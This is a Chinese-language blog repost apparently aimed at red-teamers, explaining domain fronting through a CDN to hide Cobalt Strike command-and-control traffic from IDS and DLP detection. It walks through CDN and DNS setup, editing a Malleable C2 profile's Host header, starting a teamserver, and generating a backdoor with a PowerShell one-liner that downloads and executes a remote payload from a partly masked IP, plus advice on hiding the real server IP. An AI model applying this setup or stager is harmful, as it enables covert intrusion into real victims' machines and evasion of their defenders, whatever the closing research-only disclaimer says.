域前置Cobalt Strike逃避IDS

admin 2024年10月14日05:27:18评论33 views字数 1522阅读5分4秒阅读模式

由于传播、利用此文所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任

域前置简介

域前置(Domain Fronting)基于HTTPS通用规避技术,也被称为域前端网络攻击技术。

这是一种用来隐藏Metasploit、Cobalt Strike等团队控制服务器流量,以此来一定程度绕过检查器或防火墙检测的技术。

域前置技术原理(CDN分发)

通过CDN节点将流量转发到真实的C2服务器,其中CDN节点IP通过识别请求的HOST头进行流量转发,利用我们配置域名的高可信度,如我们可以设置一个微软的子域名,可以有效的躲避DLP、agent等流量检测。

域前置的核心是CDN

CDN工作原理:

同一个IP可以被不同的域名进行绑定加速,例如现在有两个网站分别为www.abc.comwww.zxc.com都指定同一个IP:111.111.111.111(CDN服务器);浏览器通过HTTP请求包里的HOST头域名进行精确访问www.abc.com还是访问www.zxc.com

比如我们ping www.xxxx.com

得到IP:1.81.2.59

域前置Cobalt Strike逃避IDS

通过IP反查域名,可以看到很多域名绑定在这个IP上,这个就是CDN

域前置Cobalt Strike逃避IDS

www.3636.comwww.youka.la都是这个CDN服务器下的域名

域前置Cobalt Strike逃避IDS

域前置Cobalt Strike逃避IDS

域前置Cobalt Strike逃避IDS通过curl访问网页,可以看到HOST头域名

curl -v www.3636.com

域前置Cobalt Strike逃避IDS

指定HOST

curl 1.81.2.59 -H "host:www.3636.com" -v

可以看到,依然可以访问到

域前置Cobalt Strike逃避IDS

归根结底一句话:CDN是通过HOST来判断你要访问那个网站的

当访问www.3636.com这个域名的时候,实际上也是访问同一个CDN服务器,它的IP也是1.81.2.59

此处把IP替换为www.youka.la依然可以访问,并且内容一致

域前置Cobalt Strike逃避IDS

域前置Cobalt Strike逃避IDS

因为CND服务器可以达到隐藏真实IP的效果,所以C2服务器的真实IP可以得到隐藏保护。

域前置操作

  • 备案域名1个

  • 免费SSL申请:https://help.aliyun.com/document_detail/156645.html?spm=a2c6h.12873639.0.0.52105de0zFR8Tc&source=5176.11533457&userCode=r3yteowb

  • 阿里云CDN控制中心:https://cdn.console.aliyun.com/overview

设置CDN

域前置Cobalt Strike逃避IDS

解析设置

域前置Cobalt Strike逃避IDS

CDN设置

域前置Cobalt Strike逃避IDS

多地ping测试,可以看到多个IP

域前置Cobalt Strike逃避IDS

配置Cobalt Strike

修改C2的profile配置文件

下载C2:https://github.com/xx0hcd/Malleable-C2-Profiles

选择合适的profile文件,修改HOST头为准备好的域名(get和post都要改)

可以CTRL+F 然后全部替换

域前置Cobalt Strike逃避IDS

用c2lint检查一下

./c2lint cdn.profile

域前置Cobalt Strike逃避IDS

VPS开启teamserver

nohup ./teamserver xxx.xx.xx.99 qweqweqwe999 cdn.profile

nohub表示不挂断的运行命令,不然shell断了CS也会连接不上

域前置Cobalt Strike逃避IDS

kali上启动Cobalt Strike

域前置Cobalt Strike逃避IDS

开启监听

域前置Cobalt Strike逃避IDS

生成后门

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://1xx.xx.xx.99:8080/a'))"

实际使用中,不能直接把真实IP暴露出来,应该另存为网页,通过其他IP进行访问

域前置Cobalt Strike逃避IDS

成功加密

域前置Cobalt Strike逃避IDS

原文始发于微信公众号(Nurburgring):域前置Cobalt Strike逃避IDS

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月14日05:27:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域前置Cobalt Strike逃避IDShttps://cn-sec.com/archives/872855.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息